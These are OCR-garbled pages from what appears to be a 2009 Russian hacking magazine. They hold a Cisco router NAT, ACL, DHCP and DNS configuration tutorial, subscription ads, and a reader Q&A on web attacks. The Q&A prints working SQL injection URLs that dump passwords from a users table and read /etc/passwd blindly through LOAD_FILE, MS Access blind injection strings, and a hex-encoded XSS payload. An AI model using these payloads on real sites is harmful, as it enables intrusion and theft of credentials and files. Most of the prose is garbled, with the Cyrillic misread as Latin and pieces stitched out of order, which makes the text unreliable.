JIOBUTh Heo6xol\UMble HaM naKeTbI, Ao'UlI<OTOpbIX H)0J<HOAe.n.aTb
cisco (config- if l #dialer idle-timeout 0
NAT. Opoury 3aMeTHTb, "ITO B,D;aHHbIX npaBIlJIaX HcnOJlb3yeTOI
LH1OHHaI'101CTeMa,
cisco(config-iflltdialer 5(:.["ing 123
He 06bl t lHM MaCKa, a HHBepTHan;
BblnOflH5llOll.laS'l
cisco (conf ig- if) #dialer vpdn
J03aAa4Ha~ on
4lYHKl..\I-ll-1
epa
ceTeBOI1 op
!
HOMep dialer-Ii st 'a -
AnSI
npOCMOToa nO,llXo.o..>:
lU,l1X lldHHb(X
TL-nal..\ltllll, KOMMYTal..\I-H1
cisco(config-iflHdialer-group 1
ltl
! OTpy6ael--'j
nepC?,lJ,a~l.r1
)J,aHHbIX.
!
C03.o.aeM access-list !lonep 1
cisco fconfig;' #access-list 1 permit
raH1133111-lltl, Mapwpy
na.u.neplKKy cisco discovl:J"Y protocol
Hll. 3TOM nHTep<peiJrce
• ell -ltlHTep¢ei1c
192.168,1.00.0.0.255
cisco(config) !iaccess-l isL 1 permit.
192.168.3.00.0.0.255
cisco (config-if) #no cdp enable
KOMaH,QHOI1 CTpOKlIl
! YKd3b1BaeM ,<or-m1 I-l napOJ1b ,o,n.l1 aY'TetiTl-1Q;lltlKam1:1
BBeAeHI'-LbJi1 ACL He npHMeH.ReTCfI Ha HHTepq,eHCe,lJ,JlJ{ pa3rpa
Cisco IDS.
ciscofconfig-if) IIppp chap hostname _login_
HHqeHmI .aOCTyna, H npaBHJIa permit H deny CJIeAYeT nOHH
cisco tconfig-if) #-ppp chap pass,,"'ord 0 _
MaTh He KaK "pa3peUlHTb>1 HJIH «3anpeTIITb», a KaKopOCMOTp
• DyniJmips -llporpaM MHblf13Mymrrop MapW
passHord_
nOAX0,lVlIUHX (permit) H HenOAXOAfI.ll.\HX (deny) naKeTOI3. OPI1 HaOHcaHHH NAT·npaBHJl HaM npl-JlleTaI YKa3aTb <tApeca I-1.CTO'l:
pYnl3aTOpoB Cisco.
11.a06aMaeM dialer-list, rAe 6ypyr 3al\aeaTbOi TIfnbI.l\aHHblx (B
HUKOB, KOTopble He06xo,lI;HMO 6YAeT3aMeHHTb. I1MeHHO,lVlR
n03BOJIfleT 3Myl1VlpO
HaweM cnyqae- BeCh npoToKOJIIP), KOTophle 6YAYT 3acraB
3THX UeJlei1 HaMnpHro,lJ.HTCR lIaw ACL. BIITOre, c.xeMa BblrJUl
oaTbannapaTHyfO 4aCTb
AATh IJ;HCKy ycraHaRllHJ3aTh coe,n:HHeH ue:
Mapwpyn13aTopoB, He
noCpe,ll,cmeHHo 3arpy
cisco(config) #dialer-list 1 protocol ip permit ! VKa3blBa",M B KB.'l€CTSe
C peal1bHblMIIl o6pa3aMIIl
BOT Bpo,n:e 6hJ Il
Cisco lOS Pa50Tael
,n:OJDKHO npoHTH HopManbHO. IIpoBep.lleM:
Ha
AHTTaK: <tApec l1CTO'l:HHKa 6Y.lleT MOtn-tqmUHpoB3ThCfl TOJIbKO B
Tex rraKeTaX, KOTOPhlC no.llOIII.llH no.a.3TOT ACL.
)KCI5l Vl B3a\.1MOAe~CTSY5l
Bee. Terrepb cOetJ.HReHl1e cVPN-cepBepoM
:vrcxOA'ib:x
c.,o,gecoB
access-list 1
cisco (config) #ip nat: inside source list 1
interface Vlan4 overload
Windows.6011bWI1HCTSe Linux~cl.r1cTeM,a TalOKe
cisco*sh ip int dialO
Ha MacOSX.
InlerEace-!P-Address·OK?·Method·Status·Protocol DialerO,xxx.xxx.xxx,XXX·YES.IPCP·up·up
3.a.eCbMbl MeIDICM a,lJpeCaHa a,a,pec I1HTep<peHea vlan 4. B
3aBepJDaIOII\eU CTaD,HH HaM l-I)?KHO y1<3.3aTb, KC!KHe HHTeM?ellCW f1BlWlOTaI BH)'TpeHHHMH, a Ka'KHe -
• nO,ll,p06Hee 0
:
nOllH3s:l VlH410PMalll'lS'l
o poyrepe
cisco (config- i f l # ip pim dense-mode
!
.
BbIBO,Q KOMaHAbl «show verSion» -
BHeWHI1Ml1.l!:CJIaeTCR 3TO c
VLAN'ax ltl C03,ll,a
Hl1l-1sLtlpTyaJlbHoi1
JlOKaJ1bHO~ CeTLtI '·nnal1
COe,lJ;HHeHHe ycneuIHo yCTaHoBJIeHo! nepexo.n:HM KcaMoMy
nOMOWbfO KOMa.H,!l; «ip nat inside» H «ip nat outside>, cOOTBeTcrBeH
IoUlTepecHoMy - BblnyCK nOJIb30BaTeJleH BHHTepH'er.
HO. KOM3.HAbLBBOAlITC.Il npH KOHqmrypnpoflaHHH mrrepqleHca:
B CTaTbe «WaMaHcTBo
HATHM nOnb30BATEnEM KaKCKa3aHOBTeX3a,aaHHH,HaM
cisco (config) ilint vI an 2
ha,Q Blo1Jllla Ha MIrt»,
HeOOXOI\HMO BblllycKaTh nOllb30BaTeJleH B HHTCpHeT'lfepe3 nep
cisco(config-if) Iiip nat insid.e
ony61llrtKOBaHHoi-i B
BOro npona.J".fAepa, a BToporo OCTaBHTb TOJlhKO WUf DHeWHHX
cisco(config-if) !lint vlan 4
cepBlicoB. CaMbIM npOCTblM 6ytJ;eTycraHOBHTb,lJ,e4!OJITHbli1
cisco(config-if)#lp nat outside
>lHBapCKoM
HOMepe
I3a 2009 roA
~
136
I
Mapwpyr Aa nepBoro npoBait..a.epa HNAT'l-ITb Bce naKeTbl,
XAKEP 05/1251 09
--+
B npouecce HaCTpO~KI-1 VLAN
Cisco 1721. BIo1A C3aAIo1. CnpaBa HaXOAVlTCfl MOAYllb WtC-4ESW, ClleBa Cisco 1721. BIo1,Q cnepeAIo1
Serial nopT
B3TOM CJIY'l.ae vlan2 $lBJUleTCa BHyrpeHHeH ceTbKl, a vlan4 -
BHewHeH.
101
no l..\eHTpy -
Console
pi:l3pemllDIli}1!-lH npaB}l.'laHM nwmeM 3<J.opeIll8101IlJ.1e
Cn.eAYJOlll;I1MWaroM6YACTnCpeH3
cisco (config) #access-list 100 deny tcp host 10.10.20.2 eq ww';/ 192.16B.l.0 0.0.0.255
npaBJleH\:te BCex ~aJiHblX OT aHeWHHX KJlHeHTOB K BHYTpeHHHM cepBepaM. He
cisco(config}#access-list 100 deny lcp host 10.10.20.2
HCnOnb3YEM BHEWHME PECYPCbl
0.0.0.255
CTaHeM cpa3Y nepexop;llTb KH3crpoHKe, a Cl-Ia'la.Jl3 pa.J6epeMCH, KaK:ITO AOJDK
eq www192.16B.3.0
HO pa6OT3Tb. HTaK, H3 DHernmrn HHTep¢eHC npRXOtvIT 3aIlpoCbI Ha. noPT 80.
cisco(config}#acCess-list 100 permit tcp host 10.10.20.2 eq WW\o"J any
Hawa WiCKa nepeH3npaBJIfleT rro.nyqeHHhle ~aHHble Web-cepBepy, KOTOpblH cTom 13 DMZ. TIocne o6pa6oTKHp;aHHblx Web-cepBep H3'l.HH3eTOTBe'l3Tb, Ii T)'T B03HHKaeT 6oJIhllIa5I rrpo6J1eMa. Ofl3CT rrorratJ:aer K IJ;HCKe, y Koroporr
OepObletWanpaBHJla deny 03HaQalOT, 'YTO K naKeTaM, H,AyllJ,11l\1 OT Be6-cepBe
default route CTOHT ISPl_GW -llMeHHO 'lepe3 3TOT IUJlI03 OHa em 11 OTIlpasHT. Eom HenOHaTHO, B 'leM KOC.IIK, TO rrpe,>J;CT3Bb CHTY3l\HIO, KOT'/J;3 TbI cnpaWI1IJ3
pa KJ10KaJlbHblM ceTflM, He 6YAeT npHMeHflTbCR
nQJIllTHKa Mapwpynf3aUMl1'.
A OCT<lJ!bHble nal<erbl nona.lJYfB nOJlHTHI<yWEB:
eWh yKom-To «KaK,LJ;eJIa", a OTBe'l.aerTe6e COBepIl1eHHo~pyroH,He3HaKOMhIH '{MOBeK. Ha He3HaKOMl\a TbJ, eCTeCTBeHHO, BHHMaHfUI He 06paru:aelIlb. Tyr
cisco (conEig) #route-map v/E8 permi t 10
onyaqIDI 3HaJIOfl1'lHa: 3anpocMbI OTnpaBJIJIHHa o,1l;lIHIP, a OTBeTUpHWeJI C
! Onpe.n:enJoleM of)n"C1'!'> .o.~l1c'r.,Vlj.i nOJlMT11KVI - TOllbKO Hd dZlPC
KaKOrQ-TO cOBepweHHo JIeBoro. I1cnpaBJUITb 6ytJ;eM c nOMoW;hlO Policy Based
ca. no.nnaAdA)U(14C no,o. access-l i st 100
Routing. Heo6xo~HMO co3,iJ;aThACL, orrpetJ;e.IDllOlll;HH rr3KeTbl, KOTOpble.D;OJDK
cisco (config-route-rnap) #match ip address 100
Hbr 6b1Th OmpaBJIeHbI 'lepe3 KaHan: BTOporo npoBaii,r(epa:
cisco (config-route-mapl #set ip next-hop 172 .17.0.1
C03ll:aeM
pacillwpeHHLlfl access-list
HONep
100
TaK KdK D pacllmpeHHblx -'l}:CTi:J.X l-OeT OTPI1l.\dHY.il:, TO nepe.r\
XAKEP 05 /125/ 09
,l{HpeKTHSa match yKa3biBaer, K3KHe.n;aHHbie nOnatt8lOTnoA3Tyno.nHTm<y;
"OMaH,ll,a "seL ip next-hop» 3a.n;aeTc:ne,ll,YJOIJ.IHH hop.,ltIuI nQJJHoro C'laCfbf[OC~
~
137
.~
_ 3JIllqHhle
KOMIIOHOBKll
Cisco lOS
• IP B.ase - Ha·-l.aAbHI>IlJ ypoBeHb '+l'yHKU,UOH.aAbHOCTU.• 8KAIO'-laeTCl'l eo Boe gpyrue «featut"e sets». OE:ecne'-lUeaeT e;a30BI>II.J pOYTUHr~ TO eCTb cT.aTIJ'-leCKUe MdpWpyTbl, RIP, OSPF, EIGRP, TOAbKO H.a IPv4. BKAIO'-ld€'T VLAN (802.1 Q u ISL) u NAT. • IP Set"vioes (gMll3 CBU'1eu) - npoToKoAblguHaMU'1,=,cKOIJ MapLLJ pyTu3au,uu, NAT, IPSLA. • Advdnco?d IP Set"vices-goe:aBMleTcflnoggep>+<Ka IPv6. • IP Voice -goe:aBAReT cpyHK....uoHaAbHc'cTb VolP u VoFR.
CMOTplo1M
Cm1CKIo1
Aocryna 101
CTan1CH1KY
no npoToKony IP
• Advanced Security - g06aBAfI€ ' TcflIOSlFirewall, IDS, SSH u IPSec (DES,3DESuAES). • Set· vice Pt"ovid€ ' t" Set"vices - g06.aBAAeTcflIPv6, Netflow,SSH,
TaJlOCb t,AeJlan. TpM 01.ieHb npOCTbLX .lleHCTBHfl. BO~nepBb1X, nepeHanpaBHTh
BGP,ATMuVoATM.
AaHHbre H311HTepneTa K Web-cepsepy. Bo-BTOpbIX, BblnOJlHHTb TpaHCJUlD)UO
• Enterpt"lse Base - goe:aBAfI€'TCl'l nOggep>+<Ka npOTOKOA08 IP>=: U
OTBeTOB OT Web-cepaepa. B-TpeTbHX, rrpH'MeHHTb 1l0JIHTHKYMapurpyrn3a
AppleTalJ.::. Tdk:>+<e BKMO'1a.aTcl'lIBM f eatur€ ' s Tun.:! DLSw+, STUN!
I..I,H.H Ha HHTep¢eike, KOTOpblH CMOTPHT B DMZ.
BSTUN u RSRB.
ITepsoe,n;eHCTBHe ocyw;eCTBJUIeTCfI. BOAHy crpO'llcy:
cisco{configj ilip nat inside source static tep
_~'Jeb_
server_ip_ 80 xxx.xxx.xxx.xxx 80 extendable
DHCPTatOKeJl)'9we BblHCCTH H3 OT,Il;eJIbHblH cepBep, HO eCJiH HeTTaKOU B03MO>KHOCTH, BocnOJlh3yeMCJ:r BcrpoeHHblMH cpe.ll:CTBa:o.U1. HaCTpaHBaTb,
no cym, Hco6xOlUlMO rryJlbl, KOTOpble npHBR3blBaJOTDi KKOHKpeTHblM ce'ffiM BTopoe TalOKe He OTJIWmeTCH oc06ow CJI0)KHOCTbK>:
KOMali.n;oi{ network•.l{N1 KmK,llOro OYJla BblCTa8JUIlOTCfI cneu;mpH<feCKHe H3crpoHKH -a,n:peca DNS cepBepoB, ClAPeCAe¢>oJITHoro Mapwpyra, Wli'JS
cisco(config) Hp nat inside source list 100 interface
cepnepa 11 T.,n;.:
DialerO overload ! C03AaeM HanOMHHalO, "ITO HMJl BHeUIHero HHTep4>ei1:ca -
DialerO, H 'ITO Ha HeM Heo6
XO~MO C)l:eJIaTh «ip nat outside», HHa'le IDS He GYACT NAT'H'Ib.@HHble.
TpeTbHM,n;eHCTBHeM npUMeHJl.eM nOJlHTHKY MapwpyTJoI3aD;HH:
cisco(config) #int vlan 5
cisco (conLig-if} #ip policy route-map \'JEB
B npHHl..vme, H3 nOM MO>KHO 6bUIO 6bI3aKOH'llITb HacrpoHKj' H8urero 6oeao· ro poyrepa, ec.nn 6h1 He ero B03MomHOCTH no pa60Te DNS n DHCP.
nepBbl~
nyn
ciscolconfig) llip dhc!,) pool FirstPool ! YKCl3blBdeM Ce'l'b cisco (dhcp-con f ig) IInetwork 192.168.1.0 255.255.255.0 ~ Cr:eLJ;1iPJ.l'leCKl'l8 IIdC-rpOi1KH cisco (dhcp-configj !t-defau.lt-router 192 .168 .1. 254 cisco (dhcp-config) #dns-server 192.168.1.25<: cisco(dhcp-config)ijdomain-name domain1
cisco(dhcp-configjlexit ! C03.4aeM BTOpO::1 nYll
cisco (conEiglllip dhcp pool SecondPool
HACTPOMKA l\I1CKI1 B KA~ECTBE DNS 11 DHCP CEPBEPA Boo6U1e
! YKa3b13ael-l CCTb
rOBopil, o60py,llonaUHe Cisco opHeHTHpon3Ho H3 MapWPYTH3<:lUHIO II KOM
cisco (dhcp-config)
Myra.u,HfO ,Il;3HHbiX B cemx, HO HIIKaKHe H8 pa60ry B KaqeCTUe DNS-cepnepa.
! Cneml1>l1'-leCKHe Hac'!'po~iKH
fl.net~..ork
192.168.3.0 255.255.255.0
,lVm 3TOI'OJlyt1We BblAeJlHTb OT,Il;eJIbH)'lO MallLHHKy KJIH HCnOJlbJOBaTb y>Ke
cisco(dhcp-config)#domain-name domain2
cymecTBYlOlL(y1o. .H me nOKroKY npHMep H3crPOHKH cepBepa DNS 'tutCTO B o6pa30B3TeJlhHhlX uen.llx. HacrpoHKa CBO,ll;HTC.lI K YK333liHlO 3,1l;pecoS Bbl
cisco (dhcp-config) ltdefault-router 192.163.3.2
cisco(dhcp-configjlldns-server 192.168.3.2
lIIeCTOlll.l..lHX DNS Ii, eCJIH H)')J{HO, C03A3HHfO KaKlIX-JIH6o BHYl'peHHHXJOH.
ciscO(dhcp-config)lexit
HIDKe rrpe,n;craBJIeH npHMep HacrpoHlffi CKOMMeHTapIDIMH: ! VK(l-:>bl1)lIeM DNS cepBepa npoB"ui.D,epa
cisco (config) J! ip name-server abc. abc. abc . abc cisco (conEig) Hip name-server bca. bea. bea. bca ! BK.'lJ::)'Ia€lM HdUi DNS
cepB,,,,:
! YK<13i:olI.1A,€M,
K;l,016 e.c;pera DHCP
He
6ygl?T npltlC::;d/lB2\Tb KflH
eH'1'.:ll-l cisco (conf ig) # ip dhcp excluded-address 192.168.1 .200 192.168.1.254
cisco (config) #ip dhcp excluded-address 192 .168.3.
192.168.3.10
cisco{config) ihp dns server MHe KroKeTCfI, H<lCTpOHlm DHCP- ,lIOEOJlbHO npo3paYHM npoU;eAYPa,.11
! Co=,.naeM primary 30HY te~t cisco (configj IIip Clns primary test soa ns. test fDstmaster. test
Bonpocon Tyr6blThRe.n;OJDKHo. A ecJIH OHH H D03HHKtryT, TO B O$J.fQlfaJIbHOH
! .1lo6<1B;'l51eM ::l~mKb T;>lnD. NS
.£\0K'yMeHT31.(TU1 eCTb xopOWHe IIpl1Mepbl C o6'bRcHeHIDIMH.
cisco (config) #ip host test ns ns.test ! Jlo63u.n.s:rel-! 3anl1CM 'T'l1na A
cisco (configJ Hp host ns. test 192.168.1.254
cisco (config) #-ip host anyhost. test 192.168.1.250
~
138
YAA"I M! KOHe<fHO, n paMKax 0.£\110" CfaTbH f1epeaJIbHO paCKpblTb Bee TOH· KOcrH pa60Thl CI.J;l1CKaMJI, HO n H3;:\e..JOCb, tUO MHe Y~3JIOCbnOKa3aTb, l.J.TO He T3K CTpaweH qepT, KaK era MaJllOfOT. fJl3BHOe B3TOM/l,eJIe -
npaKTHKa. X
XAKEP05/12S/09
nonnMWMCb
nOAmtCKa - 3TO: • BblrOAa •
rapaHTVI~
• CepBliIC
www.glc.ru JIOIIUHr aSTOM06une"
carmuSIC
DUD>CPEIlr
Q:JO/3CtlU/
6 Mec. 415, 80 py6. 12 Mec. 778, 80 py6.
CTPAHA
iIIrp
6 Me<:. 2400, 00 py6. 12 Me<. 4AOO, 00 py6.
•.
... . WfF
.,
."'"' ~ .,
~..;
ff'!J1. ."
6Mec. 65l,40py6. 12 Me<:. 1188.00py6.
6 Me<. 1300,00 py6. 12 Me<. 2300,00 py6.
>l<EJ\Esa
6 Me<. 990,OOpy6. 12 Me<::. 1790,00 py6.
ToialFooibal1
OOBOARD
4 Me<. 466,00 py6. 8 Me<. 848,00 py6.
KOMnnEKTbl
6 Mec. 1080,OOpy6. 12 Met. 1960,00 py6.
GMec. 653,40py6. 12 "IEN.Ie16W1 . .,~y6.
Dye
6Me<; 670, 00 py6. 12M&. 1230,OOpy6.
XYJH1rAH.
6Mec. 12OQ.00 pyti. 12 MIle. 2100.00 py6.
skrpass
4 Mer. 466,00 py6. 8 Mec 848,00 py6.
Mountain Bike
6 Me<:. 534,60 py6. 12 Me<:. 99O,OOpy6.
6 MeC. 890,00 py6.
(gamelland MEAt.1A An51 3HTY3V1ACTOB
>> units ,
OJ)
o
o
~ o
o
o
C2) o
~~ o 0 •
o
MeHA nOCTOAHHO He KOHnMnMpYIOTCA3KnnoM-
Tbl AIUI
'leMMA root-npaa Ha ·nix-cepBepax,
BblAaaaH Bces
O)f(HbleOwJll6KM.
Y>Ke eCTb rOTOBble
Homel, rAe-TO
anycKY cnnoHTbl?
A: ,D,yMalO, He (10)1T ra OplATb. 410 Cn110I.1T,
c 60JlbWO~ eepOSlTHOCTblO
Hl-1TbC!=I Ha
-
CItlCTeMa ,D,JlI16bICTporOYAaneHV111 V1HcVopMau,l-1l-l
C ~eC1KI-1XAl-1CK08. 3anl-lCbIB<JeWb iSO'WHl-1K Ha CD
Q: ~ToAel1aTb.eenM BMeCTO BblBOAa HY>KHbIX no
neil nonylo4alO Illegal mix of collations for operation
Itl11l-1 floppy, 8CTaBllfleWb npl-1 cl1eAYIOw,eM 3arpYJK€
'UNION'? A: Pa3Hbl€
l'18ce. ECTb B03MQ>KHOCTb Bbl6paTb:
ClIlCTeM l-l1ll'1 Linux.
KO.QVlPOOK\o'1, r.pl'1 3TOM e OWl-16.<€ He
yKaJaHO H33B3HV1e Hy:>+:::Hoi1l-aM. Ec.nLol ,D,OClynHbl
(.1CXG.QH VlKl-1 3Toro CKP':1nT3 [ems!' TO CMOTpVl.
Q)f(eT He 8b1nOn
cepeepe iI '110 el1\€ xy)l(e
o
B,D,I1CKOBOA -
cOJ,D,aBaTb TaKOi1AI-1CKA/lfl CTl-1paHl-1\1 Windows
TopOHHe~ MaWVlHe,
CKOMn>1f11.1pOeaHHblVl He
~)~
KaKa>l KOAl.1pOBKa l-lCno.nb3y€ T e>l
B 6a3e AaHHblx.
Q: nKwy Seeurity-aHanK3aTop phP-CKPMnTOB.
CTpyKTypa C03,D,3aaeMblx npl-1li1HCT8JlIl>l'-'l'1l-1
-\11 BeBee l<nO,ll,S€ C "'T» (\.1C1 My li1JH1 Bbl30eeT
MO>KeWb nOACKaJaTb npMMepbl y>f<e COCTasneHHblX
ra611/111..\ Haxo.QVlTC}1 e epal111€· _sqllinstall.sql.
kernel panic lXOHl TO >t<e caMO
perynHpOKAJlSI nOMeKa MJSeCTHblX 6aros?
(crnsname}.sql \1 T.n.l.
A: nOAo6HblL:! cKaHep Hanl-1CaH KOM3H,D,0i1 acid root
MO>K€T 6blTb TJf<I-1M;
Hy>KHOM
803MO;+:;HO,
,ll,a>Ke
eCJ11-1 Tbl CKOMmtJHlf1.3KCn
Ha
n03TOMY BcerAa nOn€ 3 HO
'-llt1T Tb KOMM€ H Taplt1lt1
C MOM cepeepel.
aalopa :H:cn.novna. DelBeJleH CMenOTona~noaApecy
TaM Tbl
Itt
Ha~AeWb TaKV1€
-1-1, COOTBeTCTBeHHO, npV1Mepbll-1X per3KcnoB
ble
EClH1 Ha Bee BbiUJeCKa38HHoe
~.
B V1CXO,ll,Hl-1Ke. e6e 3a6lt1Tb. TO
". hoolerb .ru 38€ C THbl€
cnnoV!
·/fopenSspace\((.*}$userdat(.*j\)/i ·/mailSspace\((.*)Suserdat(.*j\l/i ·/\<\?\=Sspace(.*)Suse~dat/i
Tbl, K8K brk, hOOlyshit, plr e, mremap. raplor 10\ MHOrl-1eAPyrl'\(;!. CaMO C Tbl .QomKeH I-1CflOllb30 cepBepe
O~, Bee 3TI1 OTMbl4KItl
CMOTpLo1 CKpl-1nTbl Ha Al-1CKe.
Table structure for table' users'
CREATE TABLE IF NCT EXTSTS 'users'
'uid' int (8) NOT NULL
l\UTO~INCREME.).n,
'pass' varchar :30} COLLATE
latinl_general_ci DEFAULT NULL,
TbTOllbKO Ha e808M
:l.
Q:Cy~eCT
K npVlMepy. eO,D,ep)Kl-1MOe
'T nK SOJMO}l(HOCTb 6blCTPO, nporpaM-
Q: CKonMnCA ~enblM PAA Bonpocos nosql-MHb
) ENGINE:=MyISAM DE::;'A.ULT
eKLt.MAN. Ha'4HeM no nopSlAKy. ECTbcTaHAapTHaA
CHARSET=latinl COLLATE=latinl_
sql-injection. nOA06pan KOnM'ieCTBO CTon6qoB. HO
general~ci
AU·rO_!NCREMENT=lO ;
KorAa AenalO union select, cepsep BblAaeT ~cNot Acceptable». A: CKopee acero, eCTb<pl-1llbTpal..\l-1l1. nonpo6yi1 YTO-H1Il6YAb spoAe UnioN
~
1140
n
SelEct.
HY)i(Ha}1 HaM KOAIo1P013K3 -latin', KOH€ 4 Hbli13anpoc' host/script.php?id=10 union select 1,2,
convert (pass usirlg latinl) from users
OJ) ()
XAKEP 05/1251 0'
~
v
o
~
o
~)
o
o
~ o
Q: AnA onpeAeneHMA Ta611MI.I BMS sal ,Renal<l
3H3ljVlT, nO,cJ.CT3BJll1eM ,cJ.pyrof1 ASCII-Koj:\ V1 T.,cJ.
KaSbIYKl-1. npOBepb cne,eJ,ylOl11V1e napaMeTpbl 8 php.
3anpoc Hhttp://host/script.cfm?Author_ID=9
CnpaSK3 nO¢YHKl\V1\1M MSAccess pacnOnO>KeH3
Inl:
or 1=ISELECTTOP 1 TABLE_NAME FROM
3,cJ.ecb - htto//wVvw tC'chonthenel.cDm/access/
NFORMATlON_SCHEMA,TABLES WHERE TABLE_
fUllClions/index dlpha,php.
magic_quotes=OFF # B GPC-3anpocax OTKn))\{aeM MarVl'-leCKI1€
NAME NOT IN ('Logins'll--», HO BMeCTO HalBaHMA cneAYIO~eitTa6nMLlblnony'lalO C006Ul.eHMe 06
Q; ECTb 06bl"'HaR MHheKLI~R, HO np~ 3TOM SiXSS He
60K;
oWM6Ke B CItHTaKCMce.
BbInOnHReTCR. LjTO MO>KeT 6blTb He TaK? CepBep
mysq1. trace_mode=ON
BblAaeT «Warning; mysql_fetch_array(J: supplied
OWV,60K
A: BKJlKJl.1eHa ¢V1JlbTpal..l\1\1 o6xo,o,a
3TOro OrpaH't1Y€ H \1\1
K3Sbl'-leK. ,[l,Jl\1 «'-japf'lN»
I¢YHKlJ,V1\1
charlASCII-KoA-cI1MBoJlall Ka>K,.o.bll1 (I1MBOfl
\1
o6bep,I1HR€M c nOMOll\bfO onepaTopa KOHKaT€Ha
l..\vH18
MS Sql- «H. nOflyvaeM CTpOKy sp0)J,e ch
KiJ,B,,"\{Kh;
error_report ing=E_ALL It nOKd3 Oll1H
ii
BKJI))~JeH nOKCt3
«MYCKyna;.>.
argument is not a valid MySQL result resource...H.
A: V1cnonb3Yf116-pV1YHble 3H3L1eHL1q CYlM80nOB. ECIlV1
MbI
XOTV1M nonYllV1Tb npoCToi1 anepT Ha BbIXO
.Ae, TO CTpOKa <scripbalertl)</script> B hex 6y,cJ.eT
Q: He MorynoHSlTb, KaK ...epe3 cnenyto MHbeKLI~to
MomHO npocMaTpMsaTb41aiinbl Ha cepBepe?
A: ECTb ¢a~n /etc/passwd, era HaljaJ1O:
a rll 081+cha rll111+cha rll 03J+charl 105) +cha r( 11
SblrJl>ij:\eTb T3K: Ox3C73 63 7 2 6 97 07 43E616C6 5
root:x:O:O:root:/root:!bin/bash
Ol+charl1151. Ho eCllA BblnOflH\1Tb 3anpoc, TO Mbl
72 7 42 82 93C2F7 363726970743 E, VI KOH€YHbli1
bin:x:1:1:bin:!bin:/sbin/nologin
TaK>Ke nonyYVlM CV1HT2KCI1'1ecKyKl oWV16Ky, TaK KaK
33npoc-1 union select 1,2,Ox3C736372
nepBbl(1 Cl-1MBOn 'r', ero ascii-Ko.A -
6970743E616C65727428293C2F73637269
http://host/seript.php?vu1=1' and
CMMBOfl
npo6en.
«+» B reT-3anpocax BOCnpI1HVlMaeTC\1 KaK n03TOMY nepe80,D,lJIM
era c nOMOlllblO mo
6011 Url Encoding/Decoding yrV1nV1TDl8 3H3ljeHV1e %2B. B more, 33npoc nplo1Hlo1M3eT BV1j:\
114, CMOTplt1M'
ascii(substring((LOAD_FILE('/etcl
70743E.
pass\\'d') ) ,1,1)) ~111 ~ HV1yerO He3arpy Q; LjTO 3aTeXH~KaSQL-injection more1row?
A: B >KypHane
Ix #
>KaeTC>1:
111) He TaK ):\aSHO 6blna
http://host/script.php?vul=1' and
'/etel
http://localcareers.com/seekers/
CTaTbl1 Ha TeMy paCKpYL1I-1BaHV1" CnO>KHbIX blind
ascii (substring{ {LOAD_FILE (
articles/profile.c£m?Author_ID~9
sql~injection 6e3 V1cnonb30BaHV1>l benchmark.
passwd' } } ,1,1) ) ::114 ~ 3arpy>KaeTC>1
or
l~(SF.LECT
TOP 17Jl..BLE_NAHE FROM
INFO~'ffiTION_SCHEMA.TABLES
WHERE
B Kp3Tl.je on V1 wy,
0 Y e~ l-1,cJ.eT pelj b. K3 K Tbl
KoHTeHT:
nOHI-1MaeWb, Vlcnonb30saHV1e benchmark'a
http://host/seript.php?vul=1' and
lete!
TABLE_NAl1E 1,OT IN (char{108)%2Bchar
,qOBonbHO Hey,cJ.o6Ho. HarpY3Ka Ha cepsep
ascii (substring ( (LOAD_FILE ('
(111)%28char(103)%2Bchar(105)%2Bch
IMO>KeT Boo6111e «nonO>KI1Tb'> cna6bli1 cepBep
passwd')) ,1,1)) bet....T een 110 and 115
ar(110)%2Bcharl1l5)))--
Ha HeKOTopoe BP€~I1IJ. ,qJ1V1TeJlbHOe Bbl
--7 3arpy>KaeTC>l
nOflHeHl-1e KOHeljHOrO 3KCnIl0L1Ta, no,q60p
nepeHoc CTpOKV1 B ASCII -
B TeKCTe oWV16Klo1
6y,I],er nplo1cyrCTBoB2Tb Ha3saHIo1e
CJ1e.AYlOll1ef1 Ta6m1L-Ibl
nap8~eTpOB ,cJ.1l11 ¢YHKl\V1V1 benchmark -
Bce
KOHTeHT. 10. KOHeu. CTpOKV1-
:310 3a4aCTYlO oT5V1BaeT %en8Hl-1e HaAJlOM31 b
HEX' e. ~nV1HY p,3HHbIX onpe,qemleM C nOMOUJ,blO
TapreT-xoCT. Ho 6blJl Hai1.AeH 8JlbTepHaTV18Hbli1
¢YHKlJ,l-1V1length·
Q: KaK npOBeCTM blind sql-MHbeKLlMto
cnoco6 -
B MSAccess?
npVlMep:
13
Bee ~aHV1nyn>1lJ,l-1l-1TaK%e MO>KHO npoBo,cJ.V1Tb B
npOBoKal-\1-1113anpOCa KaK 06blYHO, http://host/script.php?vul=l' and subs tring (length (LO;\D_FILE ( , I etc /
A: OTilWH111 oTc.nenOf1 V1HbeKl-\vH1B MySOL TonbKO B H33B3HyH1X epYHKl-\Ylf1, npV1HLJ,V1nbl OD,lo1H3KoBble
script. php?vul=' and 1= (SELECT 1
passwd')) ,1,1)='4
)J,.n11 npV1~ep3, eCTb XOCT C ,o,aHHoi1 6aroi1, 8,,180j:\,
UNION SELEC'r 2)
http://host/script_php?vul~l'and
substring(length(LOAD_FILE('/etc/
cooTBeTCTBeHHo,oTcyrCTByeT: KOH€llHO >Ke, ~bl nonYljV1M oWV16Ky «mysql_ http://hosc/seript.aSp?ID~1'
passwd' ) } ,2 ,1)
c, '
8
query () : subquery returns mOre than 1 row», TaK KaK nO,£\3anpoc B03Bpall-laeT ,cJ.se CTpOK1-1.
Cpa8HV1BaeM ASCII-xoj:\ nepBoro CV1MBona CTpOKV1,
Tan-1M 06pa30M, Mbl ~O%eM OpraHI130BaTb nOCV1M
TaK, Mbl MO%e~ nOCl-1MBOJlbHO np04eCTb KaKl-1e
Bbl,o,asaeMoro nop,3anpocoM:
BOnbHblf1 nepe6op, KaK 1-1 np1-1 cTaH,QapTHOf1 blind
i1V160 KOH¢V1rV1 c napOn>1~V1 BHyTplo1. MeTO,q Kp3f1He
sql-injection, HO B KayeCTBe O,cJ.HOro 1-13 B03MO>KHbIX
Hey,q06Hbl f1l-1 )J,on rl-1 f1, norV1 pa cnyxHYT .AO He Man blX
3HalleHV1f1 B03Bp8Ll\aeMbIX <pYHKLJ,V1ei1IF[J c,qellaTb
pa3MepOB, HO, eCJll-1 ,qpyroro 8blxoAa HeT, TO BbI6L1
http://hosc::/seript . asp?ID~l and l~IIF (ase
(mid ( (select last (UserID)
from users) ,1,1) )
~104,
(SELECT 1 UNION SELECT 2)
ECJH1 KOj:\ cOBna,o,aeT, TO ¢YHKLl,V1I1IIF B03Bpal11aeT
paTb He npl-1X0.AV1TCI1
AHanOrl1ljHO MO%HO I1Cn0f1b30BaTb into_outfile,
1,0)
Q; MccneAOBan OA~H AB~>KOK. B ~cxoAHIIlKax S1BHO
